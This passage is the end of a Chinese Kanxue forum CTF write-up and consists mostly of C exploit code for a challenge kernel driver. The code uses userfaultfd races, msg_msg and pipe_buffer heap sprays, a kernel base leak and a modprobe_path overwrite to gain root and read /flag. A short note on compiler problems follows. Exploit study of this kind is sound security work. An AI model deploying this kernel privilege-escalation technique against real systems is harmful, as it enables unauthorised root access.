system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
// system("cat /proc/sys/kernel/modprobe");
puts("[*] Run unknown file");
system("/tmp/fake");
system("ls -al /flag");
system("cat /flag");

RED puts("[*]Get shell!"); CLOSE
sleep(5);
}

int main()
{

pthread_t edit_t,edit2_t;

msg_buf = malloc(0x1000);
memset(msg_buf, 0, 0x1000);

fd = open("/dev/kernelpwn",O_RDWR);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); //for edit msg->m_ts

buf2 = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);//for spray the msg_msg and edit msg->next

RegisterUserfault(buf,fault_handler_thread);
RegisterUserfault(buf2,fault_handler_thread2);

sem_init(&sem_addmsg,0,0);
sem_init(&sem_editmsg,0,0);
sem_init(&edit_heap_next,0,0);
sem_init(&sem_edit_msg_for_modpath,0,0);
sem_init(&edit_down,0,0);

add("TEST_chunk");
pthread_create(&edit_t,NULL,UAF,0);
pthread_create(&edit2_t,NULL,UAF2,0);

edit(0,0x20,buf);
GREEN puts("[*]Write in!"); CLOSE

for (int i = 0; i < 1; i++)
{
if (pipe(pipe_fd[i]) < 0)
{
RED puts("failed to create pipe!"); CLOSE
}

if (write(pipe_fd[i][1], "_Lotus_", 8) < 0)
{
RED puts("failed to write the pipe!"); CLOSE
}
}

RED puts("[*] pipe_buffer spraying finish."); CLOSE

memset(tmp_buf, 0, 0x1000);
if(peekMsg(ms_qid[0],tmp_buf,0xe00,0)<0)
{
RED puts("[*]Leak error!"); CLOSE
}
// leak(tmp_buf,0xd00);
kernel_base = tmp_buf[0x7e8/8]-0x103ed80;
size_t pipe_addr = tmp_buf[0x3e0/8]+0xc00;
BLUE printf("[*]Kernel_base: 0x%llx\n",kernel_base); CLOSE
BLUE printf("[*]pipe_addr: 0x%llx\n",pipe_addr); CLOSE

close(pipe_fd[0][0]);
close(pipe_fd[0][1]);
// size_t push_rsi_pop_rsp = real(0xffffffff81934056);//push rsi; pop rsp; retf;
// size_t push_rsi_pop_rbp = real(0xffffffff81422d1f);//push rsi; pop rbp; ret;
// size_t call_rsi_leave_ret = real(0xffffffff81c0114d);//call rsi; nop; nop; nop; leave; ret;
size_t modprobe_path = real(0xffffffff82a6c000);
memset(fake_ops_buf, 0x61,0x800);

fake_ops_buf[0x200/8] = modprobe_path-0xc0;

add("Lotus_chunk");

edit(0,0x208,buf2);

for (int i = 1; i < 0x3; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}

size_t modprobe_path_buf[0x80];
memset(modprobe_path_buf,0,0x400);
int idx=0x34;
modprobe_path_buf[idx++]=real(0xffffffff82a6c108);
modprobe_path_buf[idx++]=real(0xffffffff82a6c108);
modprobe_path_buf[idx++]=0x32;

modprobe_path_buf[0]=0xdeadbeef;

modprobe_path_buf[0x13]=0x746f4c2f706d742f;
modprobe_path_buf[0x14]=0x68732e7375;

for (int i = 1; i < 0x3; i++)
{

int ret = msgsnd(ms_qid[i], modprobe_path_buf, 0x400 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}
RED puts("[*]edit modprobe_path success."); CLOSE
modprobe_path_hijack();

}

小插曲

这里由于gcc编译的poc文件过大,远程超时,因此我选择musl-gcc进行编译。
 
但是奇怪的是,按理来说两种编译方式不会对poc造成影响,gcc的可以正常运行,而musl-gccmodprobe_path_hijack后,第一次调用system时,内核会panic在slub里。
 
估计是system系统调用execve申请内存时,寄在了某一个没有修复好的freelist里,但是我的这种解法,应该是无法修复freelist的。
 
后续选择uclibc进行编译就成功了。如果有读者了解为什么musl-gcc编译出来会有这种情况,请务必教教我。

看雪ID:Loτυs

https://bbs.kanxue.com/user-home-959503.htm

*本文由看雪论坛 Loτυs 原创,转载请注明来自看雪社区

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复

球分享

球点赞

球在看


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458503451&idx=1&sn=fa282c3792de13616b044e1a7dc908b6&chksm=b18ef99186f97087755191ccf2d81fddd126b221f081e930ee8c35c606c124f8ec076133b7e8#rd
如有侵权请联系:admin#unsafe.sh